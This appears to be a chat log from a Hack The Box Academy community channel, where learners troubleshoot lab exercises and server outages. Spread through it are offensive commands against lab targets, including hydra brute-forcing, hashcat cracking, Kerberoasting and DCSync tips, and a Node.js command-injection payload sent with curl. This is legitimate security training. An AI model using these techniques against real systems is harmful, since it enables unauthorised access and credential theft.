modules

[naive imp]

okk... then

[fathom pendant]

But that might be me overanalyzing it

[naive imp]

let me give one more try then

[dim wolf]

if you don't grab anything supicious within like.. idk 5 minutes, maybe restart the target

[naive imp]

sure... let me grab those

[dim wolf]

ok i'm gonna stop slacking now

[fathom pendant]

Me every other hour

[dim wolf]

no i'm slacking agian

[rustic sage]

Hey don’t discount your self. You’ve been an angel to me. I thank you for taking time out of your day to help all of us.

[fathom pendant]

my brother if only you knew the insanity that goes on

[rustic sage]

Insanity with what in particular ?

[fathom pendant]

just myself

[echo forge]

For the future: Anyone needing some help on the noSQL injection Skills Assessment II, can DM me! Glad to help

[misty saddle]

Academy down? can't access the dashboard. I can visit academy.hackthebox.com but not /dashboard

[fathom pendant]

i ate the API

[echo forge]

same here 😦

[misty saddle]

Sounds yummy

[flat niche]

Yes I cannot login to my dashboard neither

[misty saddle]

Sadge

[clear swift]

I really didn't read the link you sent me with the "contact form" but I started solving the puzzle. At least I think its a puzzle since I've gotten pretty far not even knowing what I was signing up for 😄

[fathom pendant]

?

[clear swift]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

[fathom pendant]

oh

it's not a puzzle

it's literally one of the ways to contact htb support

[clear swift]

uhh... are you uh

[echo forge]

yesterday was like that too, I thought the problem was here

[fathom pendant]

there's no "puzzle" to be solved

[clear swift]

Like I could explain what I've done but spoilers?

[fathom pendant]

just reading comprehension

[misty saddle]

[fathom pendant]

wdym what you've done? there's nothing to do on the contact htb help page

[clear swift]

no I mean. the shits just a png, the clues in the headers. Modifying the headers you can get more images or returns which contain a secret

you then request the page with the secret and it throws you a real page with javascript

[fathom pendant]

what are you yappin about my dude

[clear swift]

among other things

[misty saddle]

Idk what is up with academy servers. It's insane how often it's down

[fathom pendant]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support <-- this page right here is literally just a help center article regarding how to contact htb support

[clear swift]

well that's whats up. If you dont find the secret and try to use the contact thingy it will just return a still image and some text that you're not worthy

[fathom pendant]

so i really don't understand what you're yappin on about

[clear swift]

the text says I'm not allowed to share it but I could show you the start

[fathom pendant]

i'm just fuckin confused my dude

because nothing about that article has anything to do with any sort of challenge

[clear swift]

<img style="display: block;-webkit-user-select: none;margin: auto;background-color: hsl(0, 0%, 90%);transition: background-color 300ms;" src="https://downloads.intercomcdn.com/i/o/466500971/3349e9122e37487b83cd140b/image.png">````

so this is what you get if you click on the connect to agent

[fathom pendant]

yes, that's the chat agent

that's used to connect to a support staff

i really don't see what the fuck you're yappin on about

[clear swift]

its the whole page

[fathom pendant]

that's what happens when you click the green bubble

[echo forge]

maybe it's because of the the Cyber Apocalypse 2024

[fathom pendant]

unrelated, separate platforms

[fathom pendant]

this has 0 to do with anything

you're literally chasing nothing

[hollow ibex]

Something went wrong
Error Code: 504

Our engineers have been notified and are working to resolve the issue.

Ray ID: 862c86d0b88790a1 ????

[fathom pendant]

be patient

it's a known thing atm

[hollow ibex]

what time it could take???

[ember coral]

took like 10 min friday

[gusty kettle]

Aren't we supposed to ssh to kali from the htb machine ?

[fathom pendant]

from bob; the 172 address is an internal address on the network

[fathom pendant]

depends on how fast they resolve the issue

10-20 minutes or maybe more, it's a weekday so engineers are probally all working

[pastel lava]

anyone having problems with academy not loading ?

[hollow ibex]

@pastel lava i discus above

[pastel lava]

lol im not even getting an error code just sitting loading lmao

[fathom pendant]

it'll load until it errors out

how bro? Lmao it's a sitewide issue

[pastel lava]

surely theres nothing u can do lmao

they need to fix it

swear this happened the other day

working now

[gusty kettle]

Got it. but its a complete mess for me to understand the lab setup.lol

[echo forge]

Academy dashboard got back! o/

[fathom pendant]

this is nothing to do with lab setup and all to do with networking

[dim wolf]

to be fair, the lab setup is a bit weird, and it's only for the first section of the module that you have this SSH problem

[fathom pendant]

the kali box is on a separate internal network that bob's machine has access to - it's not on the 10.129.x.x network in which you'd normally interact with

[dim wolf]

all the other sections you can do entirely in WS001

[fathom pendant]

it's on the 172.16.x.x network

in which your machine can't access (without pivoting)

[dim wolf]

pivoting is not a requirement for the module

[rustic sage]

We all suffer inside our minds.

Hack the box is my only salvation from the dark world of reality

[dim wolf]

In the previous section, it's laid out so it seems like you can access both WS001 and kali simultaneously from your own box, but that's not the case, so the confusion is understandable

either you RDP into WS001 then SSH into kali from there, or you RDP into WS001, get the hash you need, and crack it on your own machine (which is what i did)

the rest of the sections, you either do entirely within WS001 or kali, and you'll know which one to use based on the target you spawn

[gusty kettle]

it would've be great if each module chat is isolated.

[dim wolf]

❌

[misty saddle]

That would be alot of chats

[dreamy yew]

Hey everyone, i have been stuck on Password Attacks > Password Mutation running the mutated wordlist to brute force the user sam for hours, can anyone give me a nudge (i think the hints from 2023 and later are no longer valid)

[fathom pendant]

there was an idea floating around to make modules chat into a forum like #1024429874246590575 ; which I somewhat agree with, it would make searching for your issue a LOT easier. and it wouldn't get drowned out as easy

[fathom pendant]

don't attack ssh

[dreamy yew]

i was attacking ftp

[fathom pendant]

48 threads is the sweet spot for most

[dreamy yew]

hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list

[fathom pendant]

yes that will generate the correct list

[misty saddle]

Yeah that's true. But I don't wanna shift through 30 channels to see if I can help someone out. But yes, it would make sense if you were looking for something specific.

[dreamy yew]

and i use hydra -l sam -P mut_password.list ssh://ip -t 48

[dreamy yew]

and it keeps crashing

[fathom pendant]

i mean

[dreamy yew]

ftp*

[fathom pendant]

it's right there that your command is bruteforcing ssh

but it should only take ~ 20 minutes with the full list

or you can cut the first 17k lines and get it like way faster

¯_(ツ)_/¯

the hints should still be viable as I don't believe they've changed any conditions to the lab

[dreamy yew]

i think they changed the dc hero, and more

[fathom pendant]

no

[misty saddle]

did it last week and everything seemed normal

[fathom pendant]

also idk what you mean by "dc hero" that has nothing to do with this module

[dreamy yew]

hydra -l sam -P mut_password.list ftp://10.129.35.67 -t 48
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-03-11 15:44:16
[DATA] max 48 tasks per 1 server, overall 48 tasks, 55711 login tries (l:1/p:55711), ~1161 tries per task
[DATA] attacking ftp://10.129.35.67:21/
1 of 1 target completed, 0 valid password found
[WARNING] Writing restore file because 13 final worker threads did not complete until end.
[ERROR] 13 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-03-11 15:45:12

i keep receiving this error when i tried -t 48 or -t 64

[fathom pendant]

that looks like you might need to lower your threads then

it sounds like for w/e reason your system can't handle that many threads so they're getting discarded

also that pw list looks awfully small

the full list should be 94k words

[dreamy yew]

hmmm if the threads keep getting discarded, does it help if i restart pwnbox?

[fathom pendant]

probably

or change vpn regions and see if it's the box being unstable

either way; it doesn't look like your pw list is correct

and in fact if you cut out more than the first 17k lines then you missed the right password by a mile

w/out cut it's like 94,044; with cut it's like 77,044

[dreamy yew]

hmm ok ill try the methods u stated

[fathom pendant]

<@&861185840277487616>

[mint canopy]

sry

[solid python]

@mint canopy Read the rules of the server.

[fathom pendant]

read the #rules and #welcome ya goon

[acoustic owl]

Thanks Marcie

[fathom pendant]

also make sure to use the provided rules and pw list from the resources section

[dreamy yew]

yes i did used them fyi

[fathom pendant]

also don't do --force

[dreamy yew]

ah i used --force

[fathom pendant]

[DATA] max 48 tasks per 1 server, overall 48 tasks, 55711 login tries (l:1/p:55711), ~1161 tries per task < this indicates that your pw list is much shorter than the intended list

55711 pws in your mut_password.list

which is completely incorrect

you should generate a wordlist that's 94k words long with the provided list/rules

[dreamy yew]

yes i just generated on with the length, 94044

im testing it with hydra and -t 48 after resetting pwnbox

[fathom pendant]

i would also suggest restarting the lab

[dreamy yew]

yes will try doing that now

really appreciate the timely help

[fathom pendant]

the full list w/ -t48 (if no other issues prevent it) takes ~20 minutes to grab the pw

[dreamy yew]

[fathom pendant]

figured i'd give you that heads up if you wanted to step away and take a break while it runs

:) since it doesn't need supervision

[dreamy yew]

i think the break is needed fr, getting a lil tunnel vision

[fathom pendant]

❤️ this is everyone's reminder that if you've been staring at your screen for 4 or more hours to get up and go take a break and hydrate

or even if you're getting more irritable at silly mistakes, take a break

[misty saddle]

This may be a stupid question, but if im trying to bruteforce RDP, is port 3389 the only viable option?

[fathom pendant]

generally unless RDP is running on a different port

then you need to specify it

[dreamy yew]

wisdom

[fathom pendant]

iirc with hydra you have to do -s

<@&861185840277487616>

[misty saddle]

Please let me be scammed by u!

[jolly cradle]

ty

[solid python]

kakow

been busy today

[fathom pendant]

gotta get up pretty early to catch me lackin on a scam

[misty saddle]

XD

[fathom pendant]

I sniff em out like a pig finds truffles

[misty saddle]

[lusty thicket]

[livid lark]

🐧

[rustic sage]

People, is the DSync section in AD Attacks module broken? I've reset the machine multiple already, checked that adunn has replication rights (It can carry out the attack) and double checked for typos. Still, following the steps outlined in the module, mimikatz returns:

ERROR kull_m_rpc_drsr_getDCBind ; RPC Exception 0x00000005 (5)

EDIT: If you are logged in as htb-student then very likely there's something wrong going on with the runas command. Try logging via RDP as the user with replication rights whose password you found in the previous section and you will be able to carry out the attack.

Searching for this string here in discord returns 4 people with the same problem but the answer/explanation for what is happening is not found.

[next bronze]

0x00000005: Access is denied.

reset the lab maybe

[rustic sage]

Alright let's see if that helps

[next bronze]

also try setting a pivot and use secretsdump

[rustic sage]

Found the problem

Gonna edit main comment. Thanks for telling me about the access denied thing!

[next bronze]

ah okay, yeah usually loging in directly will be more reliable

[fathom pendant]

i don't think i've ever used runas when i've had creds for a user

[dim wolf]

make sure you put 0x at the beginning of the answer

ok.. that's as far as i can help w/o notes 😭

can i see the question?

and you added the appropriate instruction i'm guessing

[next bronze]

are you looking at the right place? it the value will be the same at the same instruction

[tender dove]

I believe so, so I watch this value, start in $rsp and go to the $rax register. It's just that the question doesn't seem to like my answer sadly.

if I did it right, would the value of RSP change? Or would RAX just take on that value when it gets the mov instruction? (Sorry everyone)

[fathom pendant]

You are moving the value of rsp to rax

[next bronze]

send a screenshot of your gdb

[fathom pendant]

Don't apologize, you're asking valid questions about something you're likely misunderstanding

You just need to link your app.hackthebox.com account to the discord (following #welcome )

It's not

Otherwise you'd have your htb rank

[dim wolf]

can you show the upper part of this output?

[next bronze]

yeah non of what's in the screenshot shows rax

[fathom pendant]

Your gdb instructions show you moved rax to rsp

[analog dock]

I'm stuck on whitebox 101 skills assessment, trying this payload but doesn't seem to work ||curl http://94.237.58.211:36265/ping -X POST -d '{"debug":true, "ip":"\"; const { exec } = require(\"child_process\"); exec(\"ls / > source.zip\")}; //"}' -H "Content-Type: application/json"||
quite sure this is what i should be doing though

[fathom pendant]

0x40100d instruction

[tender dove]

so I have it backwards?

[dim wolf]

the values of each register are in the upper part of the output you didn't put in your screencap

[analog dock]

@pine dagger could you perhaps help?

[fathom pendant]

This too ^

[fathom pendant]

Am I wrong in thinking the 0x40100d instruction is backwards?

I'm not too familiar with assembly to be certain

[next bronze]

mov rax, 1 -> rax = 1

[fathom pendant]

Ok I'm just thinking wrong, ty

[dim wolf]

that is correct, that copies the value at rsp to rax

gdb outputs more than that, scroll up to find the register values

as for what info registers is displaying, i'm not sure

so this is supposed to give you the register values, but it's not working for some reason

see the label where it says stack
show the output of what's above that

[next bronze]

you can do x/x $rax

or just scroll up in gdb

[tender dove]

I see what you're justs are saying, under legend?

[analog dock]

@next bronze become a white box pro and help me

[next bronze]

yeah maybe next year

[dim wolf]

it's only 15 modules

[ruby whale]

Hey Xre0Us, doing any path currently ?

[next bronze]

not atm, probably won't for a bit

[dim wolf]

iirc they're doing maldev

[next bronze]

yeah finished that

[ruby whale]

oh

[next bronze]

gonna wrap up my current job and prep for the penteter offer

[dim wolf]

you have the answer right there

now i understand, you were submitting the pointer to the value at rsp as the answer

[rare blaze]

Can anyone please tell me how can i up my Reversing game? till now i've only been solving picoCTF gym, and i want to get better in this domain. I am a little restricted when it comes to buying subscriptions and stuff. your advice will be highly appreciated. (please ping me when you respond)

[next bronze]

yeah as I said, look at the right place

[pine dagger]

Oh that one. Heh. that's definitely a tricky one. You are on the correct line. But I did it using ||"ip":'"'"'); const||, you may want to copy that out so you can see the difference between ||' and "||

[ruby whale]

All the best!

[analog dock]

How would you make that work though? As that does interfere with the single quotes around it

curl http://127.0.0.1:21440/ping -X POST -d '{"debug":true, "ip":'"'"'); const { exec } = require(\"child_process\"); exec(\"ping -c 5 127.0.0.1\"); //"}' -H "Content-Type: application/json" gives errors

[pine dagger]

it was one of the methods discussed in one of the modules I did. yours should work as well...

[analog dock]

It does not 🥲

[pine dagger]

I'll dm you my notes 🙂

[analog dock]

Thanks a lot

[misty saddle]

Hi guys, could use a little help 🙂
I get this error when trying to download a file from smbclient. Any recommendation to alternative ways or maybe why it's failing?

[fathom pendant]

try restarting the machine

it looks like the box is being buggy

[misty saddle]

yeah, ill give it a shot!

[fathom pendant]

NT_STATUS_[ANYTHING] is a windows related error

[misty saddle]

smb: > getting file \Backup.vhd of size 136315392 as Backup.vhd SMBecho failed (NT_STATUS_INVALID_NETWORK_RESPONSE). The connection is disconnected now

Also giving me this

[fathom pendant]

exit smb, restart the lab, try again

[misty saddle]

Sounds like a plan

[fathom pendant]

this is generally an error on the box end

unless for w/e reason your connection is unstable

[misty saddle]

Nice to know. I'll keep that in mind.

[fathom pendant]

in which case it's your end

and you should change vpn regions

[misty saddle]

yeah, I think there's one closer to me but it's like 5ms difference

i'll try it out

[fathom pendant]

i'm not referring to pwnbox

pwnbox != vpn

they are completely different

[misty saddle]

oh yeah so like changing from eu1 to eu2?

[fathom pendant]

ye

pwnbox region strictly dictates where the pwnbox spawns

vpn region dictates where the target spawns

[misty saddle]

I see. Thanks for the clarification. Didn't give it much thought

[misty saddle]

Is there a big difference between running it UDP or TCP?

[fathom pendant]

if you're using the pwnbox? no

if you're using the vpn and your own machine: UDP is faster, TCP is more stable

[misty saddle]

Ah okay, yeah I think I prefer stable

[fathom pendant]

i.e. having issues with rdp? use TCP

[cloud urchin]

DACL attacks - this question says Lilia is the owner of the "Managers" group, and to abuse that to gain access to chap's account, however it doesn't seem to be the case that Lilia an owner of the group.. what am I missing?

[misty saddle]

Sorry, last question. How long should I wait to respawn my machine?

[snow ridge]

Module: Kerberos attacks, does anyone know a tip how to easily copy hashes from powerviews output? Because it contains line breaks and spaces so I cant just paste it to hashcat have to fix that first

[cloud urchin]

Run the command with /nowrap at the end

[fathom pendant]

^

[fathom pendant]

i mean generally i'd wait a few minutes after spawning the machine to interact with it

[next bronze]

group owner != in the group

[cloud urchin]

yes i know

but she isn't a group owner either

see the screen shots

[snow ridge]

PS C:\Tools> import-module .\PowerView.ps1
PS C:\Tools> Invoke-Kerberoast /nowrap
PS C:\Tools> get-module

Manifest   3.1.0.0    Microsoft.PowerShell.Management     {Add-Computer, Add-Content, Checkpoint-Computer, Clear-Con...
Manifest   3.1.0.0    Microsoft.PowerShell.Utility        {Add-Member, Add-Type, Clear-Variable, Compare-Object...}
Script     0.0        PowerView
Script     2.0.0      PSReadline

Not getting any output now

[fathom pendant]

why not use rubeus for the kerberoasting?

[snow ridge]

because I wanted to try this out 😄

[fathom pendant]

well powershell natively truncates outputs a fair bit of the time

[snow ridge]

Well, rubeus it is then because it gives cleaner output

[fathom pendant]

i mean another alternative is using sed to remove all the newlines

[next bronze]

how'd you do the previous question then

[next bronze]

you can use a text editor, then search and replace \n with nothing, removing all the new line characters

[tranquil axle]

/nowrap is for Rubeus, for PowerView you are in the world of powershell and can use "general powershell methods" to format the output the way you want. try Invoke-Kerberoast -OutputFormat hashcat | % {$_.Hash} "%" means "for each object", and in the script block the $_ represents each object, from where we extract the "Hash" field. This should output it in a format more to your liking

[clear swift]

sry i had to leave before explaining the I.Img. but kts cool ill do in right channel some day

[misty saddle]

I get this error when trying to get a file with SMB. I've tried to switch VPN and restart the machine. Anyone know what it could be?

[dire abyss]

do you need an output?

[misty saddle]

what do u mean?

[dire abyss]

theres a chance im wrong here but dont you need to tell it the name and/ or path of wheres its getting downloaded too?

get Backup.vhd Backup.vhd

[misty saddle]

I'll try it

[fathom pendant]

not required

[misty saddle]

Yeah, I get the same error

[next bronze]

looks like a connection problem

[fathom pendant]

^

[dire abyss]

are you able to ping the target?

[next bronze]

you can try the impacket version, smbclilent.py

[snow ridge]

Thanks, will try this

[misty saddle]

yup, full connection

[fathom pendant]

that is the impacket version

[misty saddle]

I'll try it out

[fathom pendant]

on parrot it's aliased to not require the .py

[misty saddle]

I'm on my own vpn

[next bronze]

that's the samba version, impacket version uses a different syntax

[fathom pendant]

huh TIL

[misty saddle]

looks like smbclient.py did the job

[fathom pendant]

curious what the difference is lol

[misty saddle]

yeah, it's a bit odd

[dire abyss]

hey guys stuck on "ICMP Tunneling with SOCKS" with the first few steps. Im using a VM with Kali (idk if that matters much over parrotOS) and I clone "ptunnel-ng.git" to my machine. then I try to run "sudo ./autogen.sh" but errors out stating line 10 - 14,19 not found.

I cant seem to add screenshots on here for some reason

looks like i was able to fix it by installing autoreconf

[thorn urchin]

btw you cant send images because youve not verified your account yet

[dire abyss]

i thought i had.. let me double check

[thorn urchin]

you def havnt or you wouldnt be a white name lol

[misty saddle]

Module: Password Attacks
Section: Password Attacks Lab - Hard
Question: I'm trying to mount a .vhd drive. I've cracked the password and everything. But now I can see that I have to get the admin password to mount it, which makes sense. I've looked everywhere but im kinda lost on where to look. Can anyone give me a nudge?

[ember coral]

prolly a really dumb question but why am i not able to load the /robots.txt page (or any listed in nmap scan)? the actual page its self without any sub dirctories works fine

[autumn pilot]

put every entry on one line

127.0.0.1 example.org sub1.example.org

[ember coral]

same results page its self still loads fine but no sub directories, i was able to run feroxbuster vs it and access sub directories it found, just find it weird that nmap found a robots page but i cant access.

[soft cedar]

You can transfer vhd disk over to your attacker machine; and mount it there

[misty saddle]

So I mount it remote?

[soft cedar]

Yup

[misty saddle]

but wont i need to still have the permissions to mount it remotely?

[soft cedar]

You can use smbserver to get it to your Vm and mount it there or transfer to a windows box /machine

Yes but you have admin permission on your windows machine / box and ‘sudo’ privs on Linux

[misty saddle]

But I don't have admin perm on the windows machine

[vital seal]

**Module: WINDOWS PRIVILEGE ESCALATION **
Section: Citrix Breakout
https://academy.hackthebox.com/module/67/section/2502

RDP is not working. It's just blank. Tried both **rdesktop **& xfreerdp. All the other sections have worked fine.

[sleek moss]

does anyone have a kali linux with all the tools essential i can download:? or list?

[soft cedar]

No, on any remote windows machine (in this case prolly your windows machine )

[misty saddle]

Ah okay, I get you know. Thanks!

[next bronze]

^ spin up a vm

[dire abyss]

you're right, i remember i didnt link because i only had an academy acct and there was no way to link it. looks like they added an account manager to tie all your accounts together

[next bronze]

I wouldn't mount random vdisks on my own pc

[misty saddle]

My own Windows VM is slower than HTB RDP machines

[next bronze]

you can use windows server, those take way less resources than windows home

[cloud urchin]

Did it yesterday. Saved the last question for today. Maybe I need to go perform the steps in the previous questions for her to get ownership, but I believe the module says she should be owner by default. She was owner yesterday I remember seeing it in BH, today after multiple restarts on the box she isn't.

[soft cedar]

True but sadly, I ran everything from there. I was running out of space

[misty saddle]

https://medium.com/@kartik.sharma522/mounting-bit-locker-encrypted-vhd-files-in-linux-4b3f543251f0

Found this guide. Worked like a charm.

[next bronze]

I mean bh also isn't the only tool you can use

[cloud urchin]

yeah something is wrong here, bh doesn't even show the relationship between luna and inlanefreight. i'll go through the page again.

yesterday i'm prett ysure she was an owner, and now she isn't. i never had to do anything to make her owner, she just was by default.

[urban wadi]

h e y

no response

[cloud urchin]

Not sure how to proceed here. Lilia is not an owner as the question states...

[brazen saffron]

Just in the module burp introder from "User Web Proxies", I started the exercice and I am waiting for a long time, is it normal?

[sleek moss]

how to fix ftp> ls
229 Entering Extended Passive Mode (|||58428|)
150 Opening ASCII mode data connection for file list
226 Transfer complete
ftp>

[cloud urchin]

ran sharphound on the host and then uploaded the zip from there to bh, works now and i can see the edges.

[dire abyss]

need a bit of help with "ICMP Tunneling with SOCKS".. getting this error "version `GLIBC_2.36' not found" im on 2.37.. is there a way to roll back? or will that mess up my VM?

[sleek moss]

anyone have any advice on footprinting easy lab

[soft cedar]

enumeration is key:

[sleek moss]

i did i enumerated the dns servers

idk how to get thru the ftp stuff it stuck in pasive mode

[soft cedar]

run a full tcp scan and take a close look at the open ports provided by nmap

[dusk girder]

Working on the Vulnerability Assessment module, under the Nessus Skills Assessment Section. I logged into Nessus, but when i try to access the scan it says API Disabled. Nessus has detected that API access on this scanner is disabled. If you believe this is an error, please try the following. -- I've already cleared my browser's cache and still get the same message any suggestions?

[sleek moss]

theres port 21 and port 2121

[soft cedar]

bingo

[sleek moss]

yes but i cant go on either of the ports it just says ftp> dir
229 Entering Extended Passive Mode (|||58519|)
150 Opening ASCII mode data connection for file list
226 Transfer complete
ftp>

[dusk girder]

disregard, i think it wants me to create my own scan

[soft cedar]

how did you connect to the second one?

[sleek moss]

ftp -p 10.129.68.16 2121

[soft cedar]

ftp <IP> -p 2121

[sleek moss]

i c ok thanks

ftp> dir
229 Entering Extended Passive Mode (|||14073|)
150 Opening ASCII mode data connection for file list
226 Transfer complete
ftp>

[soft cedar]

dir -a

[sleek moss]

oohhhh thank u

[soft cedar]

always check for hidden files. you can also use ls -la

[sleek moss]

how can u do that on ftp server

[analog dock]

By typing that exact command

[urban wadi]

type help to see all commands

[sleek moss]

ok thank u

[urban wadi]

np G

[dim wolf]

which is longer to digest: Introduction to Malware Analysis's "Code Analysis" or Introduction to Digital Forensics's "Rapid Triage Examination & Analysis Tools"

[mellow delta]

morning all, I am stuck here, on the second part, I have the password hash but I am struggling to get the clear text of the password. I have tried john the ripper, it's been running for 14 hours to no success yet. I have tried hashcat with wordlists to no success and the brute forcing of it through hashcat says it will take 10 years. I know I am missing something just not sure what https://academy.hackthebox.com/module/112/section/1245

[next bronze]

10 years? what wordlist are you using and what's the command?

[mellow delta]

no wordlist to bruteforce. to crack the salt using a wordlist i tried rockyou, i tried the wordlist inside the cracked hashes directory and xato

[next bronze]

what's the hashcat command

[mellow delta]

hashcat -m 100 -a 0 /usr/share/metasploit-framework/ipmi_hash.hash /usr/share/wordlists/rockyou.txt

hashcat -m 100 -a 3 8a3997093c278242ad2d1736f36e318766a97fe5 ?a?a?a?a?a?a?a?a

[next bronze]

wrong hash mode, it's 7300 which is given in the module, and use a wordlist instead of masks

[mellow delta]

thanks, let me try this and see if i get anywhere

thank you, I'm dumb

[brazen saffron]

Trying to use burp intruder but I have no status? 🤔 why? I have only "errors" checked.

https://academy.hackthebox.com/module/110/section/1054

Don't click on images if you don't want to get spoil.

[cloud urchin]

Can anyone give me a hint on " Use the Managers group privileges to abuse the company's CEO's account chap, and gain access to the shared folder \DC01\CEO, without changing the CEO's password. Submit the contents of flag.txt as the answer. " with DACL attacks? I'm able to take ownership of the chap account and change the password, but I can't figure out how to get access to the folder without changing the password.

[next bronze]

probably setspn and kerberoast, but the module didn't go through an even better method for some reason: shadow credentials, there are a few ways to do with but with certipy shadow auto you can just grab the hash

[cloud urchin]

yeah i have his hash

i thought there would be a specific method they want me to do

[next bronze]

any method works as long as you're not changing the password

[cloud urchin]

alright thanks

[cloud urchin]

I think you're right about the targeted kerberoasting, that seems to be the only way to do it all from within the module. unfortunately no matter what i do i cannot get the clock skew to sync. i just went ahead and used his hash with smbclient to grab it.

[copper geyser]

Can someone answer my message in general
#general message

[sleek moss]

im om footprinting med and i found SA and the password but it doesnt letm e log onto the MSSQL database saying login failed

[fathom pendant]

run as admin

[outer urchin]

I just finished the Linux credential harvesting challenge and for some reason lazagne wouldn't pick up the cred but the firefox tool did. Is this normal or was I using lazagne incorrectly

[fathom pendant]

idk but the intended method is with the firefox tool

not every tool will pull the same info

[outer urchin]

ok cool, I saw some other stuff online mentioning lazagne so I gave it a go as well

[mellow delta]

hey folks, stuck here npow https://academy.hackthebox.com/module/112/section/1078 I have found the users public key, fetched it from the telnet server, given it the necessary permissions, when i try to ssh in I am being told the user password is incorrect, but it's the one given in the prompt. I'm confused

[fathom pendant]

if you have the key; why are you using a password

also: it could be giving you the error that it's not accepting a password and only using publickey auth

also idr telnet being a part of this

[mellow delta]

when i attempt to connect ssh @<user><ip> the next prompt it asks is password

[fathom pendant]

the format for ssh is user@ip

not @<user><ip>

[mellow delta]

sorry, that's what i had been using

[fathom pendant]

second the answer won't be using the given credentials to sign in to ssh

this is what happens when you attempt to ssh with the given user

[mellow delta]

i pulled those keys down onto my system

[fathom pendant]

why are you using telnet to connect to ftp

also spoilers as that port isn't known

[mellow delta]

sorry, I said telnet, I meant ssh

no argh sorry im frustrated

I mean ftp

not telnet at all

[mellow delta]

yes, this is what I am getting

so I guess some of my confusion is in I have ceils ssh key but if I am not supposed to log in as ceil?

[fathom pendant]

by using the ssh key

[mellow delta]

just ssh @ the ip?

[fathom pendant]

you need to provide an argument that tells ssh you're identifying with the ssh key

[mellow delta]

as in the path

[fathom pendant]

sort of

man ssh

[mellow delta]

thanks

[fathom pendant]

and you'll see what i mean

[mellow delta]

let me mess around then

-i

[fathom pendant]

👍

after that it's just a lesson in history

[mellow delta]

thanks

[mellow delta]

still fighting
simon@osboxes:~/Ceil$ ssh -i /home/simon/Ceil/id_rsa.pub ceill@10.129.234.38
ceill@10.129.234.38's password:
Permission denied, please try again.
ceill@10.129.234.38's password:

clearly i don't understand

[cloud urchin]

DACL Skill Assessment "What's the password of the account that Carlos can perform a targeted Kerberoasting attack against?" I'm unable to crack this password on any of the accounts I can grab a hash for. Hint?

[crystal steeple]

are u using public id_rsa?

or private key?

[mellow delta]

i have tried with id_rsa.pub and also id_rsa

[crystal steeple]

id_rsa should work with the right permissions

[mellow delta]

i fetched all three files from the server

maybe I have the permissions wrong still, let me go confirm that

[fathom pendant]

You added an extra l

[fathom pendant]

Also you don't use the pub key

You use the private id_rsa [no extensions]

I just did it and rhe intended pathway works

[mellow delta]

simon@osboxes:~/Ceil$ chmod 600 /home/simon/Ceil/id_rsa
simon@osboxes:~/Ceil$ ssh -i /home/simon/Ciel/id_rsa 10.129.234.38
Warning: Identity file /home/simon/Ciel/id_rsa not accessible: No such file or directory.
simon@10.129.234.38's password:
Like this?

maybe i should go back to building in the theater lol

[crystal steeple]

ssh -i <path to id_rsa> <username>@<IP>

[fathom pendant]

Well it looks like your file path is incorrect

[mellow delta]

yep typo. but it still prompts for my password

[fathom pendant]

It shouldn't if you do it right

[mellow delta]

simon@osboxes:~/Ceil$ ssh -i /home/simon/Ceil/id_rsa 10.129.234.38
simon@10.129.234.38's password:
Permission denied, please try again.
simon@10.129.234.38's password:

[fathom pendant]

It's prompting for pw because you're not specifying the username

[mellow delta]

ah

in

[fathom pendant]

You still need to specify the username otherwise it's assuming you're using your username to connect

[mellow delta]

thanks

[fathom pendant]

Now just to remember your history

[mellow delta]

fingers crossed

[fathom pendant]

That was an intentional hint btw

As a treat

[mellow delta]

lol, cause youre pretty amazing

amazing

[true finch]

Can i have an assist on login-brute force skills assessment question 2
here is my syntax|| hydra -l user -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-50.txt -t 64 -f 94.237.60.170 -s 40782 http-post-form "/admin_login.php:user=^USER^&pass=^PASS^:F=log-in='submit'"||

[mellow delta]

thankyou

[cloud urchin]

Am I not supposed to crack this or something? The module says nothing about targeted kerberoasting beyond cracking it.

[fathom pendant]

Well it's asking for the password, so I'd assume cracking it is part of it

[cloud urchin]

yeah but it's not crackable it seems

i got outside resources to obtain the nt hash but can't log into the computer with it or anything. i thought maybe the plaintext passwd was on the desktop or something.

omg

i just tried hashcat again and insta-cracked it. not sure what i did wrong before.

[fathom pendant]

You applied more skill

[dire abyss]

anyone having issues connecting to VPN?

[fathom pendant]

wdym issues connecting; i.e. it errors out or?

common issue is not running it with sudo

[junior solar]

How do I install and get a working VPN linux, I'm a beginner and I don't trust YouTube tutorials to install things on my pc

[fathom pendant]

is this related to using the HTB vpn to access the labs?

or just a vpn in general; in which case your query isn't for this channel

also - if you don't trust a random YT tutorial then how are you gonna trust a rando person

[junior solar]

😦

Aight

[cloud urchin]

i think openvpn is pre-installed on kali, just type openvpn <o.vpn file>

[onyx rapids]

Did you ever figure out the final part of this? I'm stuck at the very end of it

[runic inlet]

hello guys, need help on AD module Kerberoasting - from Linux: Section

when we request TGS ticket its asking password, but how we get it ?

[fathom pendant]

you need to have a valid user that can do the roasting

read the section carefully, it's also likely expecting you to use a password you previously compromised to do so

[runic inlet]

oh yea Winter2021!

[fathom pendant]

always read the section carefully for the instructions on what to do/how to do it

[vocal lagoon]

on the public exploit module I need a shove in the right direction, I found the exploit to use, I know it's wordpress yet when I run the exploit no dice :c

does any of this look wrong persay

[cloud urchin]

your rhost and rport look weird

[vocal lagoon]

it'd be port 22 though right?

[cloud urchin]

i mean it can be any port, generally 22 is ssh

[tranquil copper]

As long as you have RHOST and RPORT set correctly. LPORT should your machine. I believe I left TARGETURI as just "/"

[vocal lagoon]

rhost is the target ip right

and rport should be the port discovered I think

[tranquil copper]

yes I believe so. It's been a bit, but that sounds right

[vocal lagoon]

hm

I found wordpress using gobuster didnt get a port 80 from anything

the 83.136 is the target ip

[next bronze]

if it's wordpress it almost certainly wouldn't be port 22

[cloud urchin]

yep

[vocal lagoon]

maybe im mentally ill

[next bronze]

how did you find which vuln to use

[cloud urchin]

wordpress is a web app. it'll be hosted on the port the http is being served on.

[vocal lagoon]

searchsploit

well then I used metasploit

[next bronze]

yeah but how did you know what to search for

[vocal lagoon]

I found wordpress in gobuster so I looked for it in metasploit

[tranquil copper]

RPORT should be the web server

[vocal lagoon]

then I figured I would just need to be able to read the files

so the one I picked seemed right

[next bronze]

well did you specify a port in gobustr?

or have you tried visiting in your browser?

